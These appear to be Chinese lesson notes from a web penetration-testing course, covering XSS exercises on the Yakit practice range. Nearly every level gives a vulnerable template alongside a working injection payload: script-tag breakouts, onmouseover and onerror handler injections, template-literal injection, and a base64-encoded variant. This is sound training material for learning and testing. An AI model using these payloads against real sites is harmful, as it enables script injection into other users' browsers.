20250303 Web渗透系统班 第二十五课 樊子健

XSS 跨站脚本攻击漏洞（二）

yakit 靶场


闭合标签
没有办法闭合标签，尝试在标签内寻找可以触发 js 代码的相关函数或者直接尝试在标签内闭合






<script> 标签法
javascript: 伪协议


console.log(1)
业务系统


xss-4


<script>console.info("Hello" + '{{ .name }}')</script>




')</script><script>alert(1)('
<script>console.info("Hello" + '')</script><script>alert(1)('')</script>
')</script><script>alert('Hello Yakit
<script>console.info("Hello" + '')</script><script>alert('Hello Yakit')</script>


xss-5


<script>const name = "404";console.info("Hello" + `${name}`);</script>
404"</script><script>alert(1)//
<script>const name = "404"; alert(1)//";console.info("Hello" + `${name}`);</script>
test"</script><script>alert("Hello Yakit")//
<script>const name = "test"</script><script>alert("Hello Yakit")//";console.info("Hello" +
`${name}`);</script>



xss-6


console.info("Hello" + `+"`{{ .name }}: ${name}`"+`);
404`)</script><script>alert(1)//
`+alert('XSS Attack!')+`
console.info("Hello" + ``+alert('XSS Attack!')+`: ${name}`);




xss-7


<img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/>
alert("Hello Yakit")


Xss-8


<img style='width: 100px' alt='{{.value}}' src="/static/logo.png"
onclick='javascript:alert("Welcome CLICK ME!")'/>
' onmouseover='alert("Hello Yakit")


xss-9


<img style='width: 100px' alt='{{.value}}' src="/static/logo.png"
onclick='javascript:alert("Welcome CLICK ME!")'/>
<img style='width: 100px' alt='404'onmouseover='alert(1)' src="/static/logo.png"
onclick='javascript:alert("Welcome CLICK ME!")'/>
{"value":"value=visitor-name"}
{"value":"value=404'onmouseover='alert(1)"}
404'onmouseover='alert(1)
{"value":"value=404'onmouseover='console.log(1)"}
value=xxxx
{"value":"xxx"}


xss-10


<img style='width: 100px' alt='{{.value}}' src="/static/logo.png"
onclick='javascript:alert("Welcome CLICK ME!")'/>
{"value":"value=404'onmouseover='alert(`Hello Yakit`)"}
eyJ2YWx1ZSI6InZhbHVlPTQwNCdvbm1vdXNlb3Zlcj0nYWxlcnQoYEhlbGxvIFlha2l0YCkgIn0=


xss-11


<img style='width: 100px' alt='value' src="{{ .value }}"
onclick='javascript:alert("Welcome CLICK ME!")'/>
123"onerror="alert(1)


xss-12


href ⾥⾯可以使⽤伪协议触发 js

'onmousemove='alert(123)



xss-13


<img style='width: 100px' src="/static/logo.png" onclick='javascript:alert({{ .code }})'/>
)' onmousemove='(alert(123)

WEB渗透测试工程师系统班250303期

第25节课作业

实操课程内讲解的yakit靶场-xss篇